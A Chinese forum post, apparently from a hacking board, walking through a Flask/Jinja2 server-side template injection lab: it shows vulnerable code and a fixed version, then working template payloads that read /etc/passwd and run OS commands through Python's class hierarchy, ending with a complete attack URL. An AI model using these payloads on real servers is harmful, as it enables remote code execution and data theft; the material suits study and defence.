找回密码
 立即注册
注册 登录
×
热搜: 活动 交友 discuz
查看: 85|回复: 1

Flask(Jinja2) 服务端模板注入漏洞(SSTI)

[复制链接]

3

主题

4

帖子

11

积分

新手上路

Rank: 1

积分
11
发表于 2023-1-9 17:05:53 | 显示全部楼层 |阅读模式
flask

Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。 Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:

  • Werkzeug 一个 WSGI 工具包
  • jinja2 模板引擎
Flask 简单易学,下面是 Flask 版的 hello world(hello.py):
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():  
    return "Hello World!"

if __name__ == "__main__":
    app.run()安装 flask 即可运行了:
$ pip install Flask

$ python hello.py
* Running on http://localhost:5000/

*flask默认端口是5000Jinja 2


  • Jinja 2 是一种面向 Python 的现代和设计友好的模板语言,它是以 Django 的模板为模型的
  • Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块
  • Jinja2 模板同样支持控制语句,像在 {%…%} 块中
{# This is jinja code
   # 控制结构
    {% for file in filenames %}
        # 取值
        {{ file }}
    {% endfor %}
#}Demo
from jinja2 import Template
t=Template('{% for i in range(10) %}{{ i }}{% endfor %}')
print t.render()​



漏洞原理

先进入容器看一下 web 服务的代码 ​



from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()看到 Template("Hello " +name),Template()完全可控,那么就可以直接写入 jinja2 的模板语言,如 ​



当然发送这种情况不能由 jinja2 背锅,这完全是开发人员的编码不当,若我修改如下
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/safe")
def safe():
    name = request.args.get('name', 'guest')

    t = Template("Hello {{n}}")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()就不存在模板注入 ​



Jinja2 的模板中执行 Python 代码

在 jinja2 中是可以直接访问 python 的一些对象及其方法的,如 字符串对象及其 upper 函数,列表对象及其 count 函数,字典对象及其 has_key 函数 ​



那么如何在 Jinja2 的模板中执行 Python 代码呢?如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册 那么,如何在未注册 OS 模块的情况下在模板中调用 popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法
利用 Python 特性


  • bases   以元组返回一个类直接所继承的类
  • mro   以元组返回继承关系链
  • class   返回对象所属的类
  • globals   以 dict 返回函数所在模块命名空间中的所有变量
  • subclasses()   以列表返回类的子类
  • _builtin​_   内建函数,python 中可以直接运行一些函数,例如 int(),list()等等,这些函数可以在builtins中可以查到。查看的方法是 dir(builtins)   ps:在 py3 中builtin被换成了 builtin   builtinbuiltins之间是什么关系呢?
  • 在主模块 main 中,builtins是对内建模块builtin本身的引用,即builtins完全等价于builtin,二者完全是一个东西,不分彼此。
  • 非主模块 main 中,builtins仅是对builtin.dict的引用,而非builtin本身

用 file 对象读取文件

不能像字符串对象,列表对象那样直接引用(''​ []​),那如何拿到 file 对象呢?就用上面给的属性和方法,如
for c in {}.__class__.__base__.__subclasses__():
    if(c.__name__=='file'):
        print(c)
        print c('test.txt').readlines()该代码从列表对象获取其类,再取基类(object),再取 object 的所有子类,从子类中寻找 file 类,如果找到就使用其构造方法创建对象后再用 readlines 读取文件内容 ​



用 jinja2 语法就是
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{"find!"}}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}在本机测试没有问题,但是在这个 doker 容器里不知道为什么找不见 file 类 ​







emmm,经测试发现在 python3 中并没有 file 类,所以上述读取文件的方法只适用于 python2 ​



那么就有必要找到 python2/3 通用的方法,就直接找 eval,有了这个还有什么不能做
寻找builtins得到 eval

for c in ().__class__.__bases__[0].__subclasses__():
    try:
        if '__builtins__' in c.__init__.__globals__.keys():
            print(c.name)
    except:
        pass​



找到了一个 python2/3 都有builtins的类 _IterationGuard​
于是 python2/3 通用的执行任意代码
for c in ().__class__.__bases__[0].__subclasses__():
    if c.__name__=='_IterationGuard':
        c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")​



用 jinja 的语法即为(执行命令使用 os.popen('whoami').read()才有执行结果的回显)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}​



我本机上存在中文编码的问题,所以命令执行结果带中文的话会出错,所以就用 echo l3yx 展示下执行命令的效果 ​



直接从 globals 中寻找 eval

原理和上面大同小异,vulhub 的文档中用的就是这种 payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}参考: Server-Side Template Injection 利用 Python 特性在 Jinja2 模板中执行任意代码 用python继承链搞事情 (膜 Orz)
复现


  • 访问URL
  • payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

  • payload攻击
http://ip:port/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}‍
回复

使用道具 举报

0

主题

4

帖子

8

积分

新手上路

Rank: 1

积分
8
发表于 7 天前 | 显示全部楼层
没人回帖。。。我来个吧
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋| 黑客通

GMT+8, 2025-4-6 15:11 , Processed in 0.090305 second(s), 22 queries .

Powered by Discuz! X3.4

Copyright © 2020, LianLian.

快速回复 返回顶部 返回列表